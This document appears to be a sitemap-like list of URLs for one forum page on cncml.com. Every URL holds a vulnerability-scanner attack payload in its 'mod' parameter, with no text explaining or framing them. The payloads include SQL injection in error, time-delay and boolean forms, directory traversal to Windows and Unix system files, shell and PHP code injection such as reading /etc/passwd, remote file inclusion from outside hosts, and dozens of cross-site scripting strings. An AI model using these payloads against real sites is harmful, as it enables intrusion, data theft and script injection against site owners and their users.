http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=ELT(13=21,0x7265646972656374) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=ELT(81=81,0x7265646972656374) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=MAKE_SET(12=12,0x7265646972656374) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=MAKE_SET(34=35,0x7265646972656374) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=dir 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=phpinfo 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%00' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20RLIKE%20(SELECT%20(CASE%20WHEN%20(51=51)%20THEN%200x7265646972656374%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20RLIKE%20(SELECT%20(CASE%20WHEN%20(63=25)%20THEN%200x7265646972656374%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%22%20AND%20%22Ne%22=%222t 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%22)%20AND%2081=11%20AND%20(%221t%22=%221t 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25%22%29%20AND%2051%3D61%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25%27%29%20AND%2016%3D24%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25%27%29%20AND%2052%3D52%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25'%20AND%2011=11%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25'%20AND%2012=32%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(74=57)%20THEN%200x7265646972656374%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(74=74)%20THEN%200x7265646972656374%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%2527 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%5B%5D 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%5C%22 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%5C' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect%bf%27 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND%20'Kz'%20LIKE%20'Kz 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND%20'bb'='Yr 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND%20'km'='km 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND%20'pe'%20LIKE%20'Kb 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=39)%20THEN%200x7265646972656374%20ELSE%200x28%20END))%20AND%20'zd'='zd 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(37=37)%20THEN%200x7265646972656374%20ELSE%200x28%20END))%20AND%20'7D'='7D 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%22 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20AND%20('Ck'%20LIKE%20'EQ 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20AND%20('JI'%20LIKE%20'JI 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20AND%2034=48%20AND%20('Po'='Po 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20AND%2066=66%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 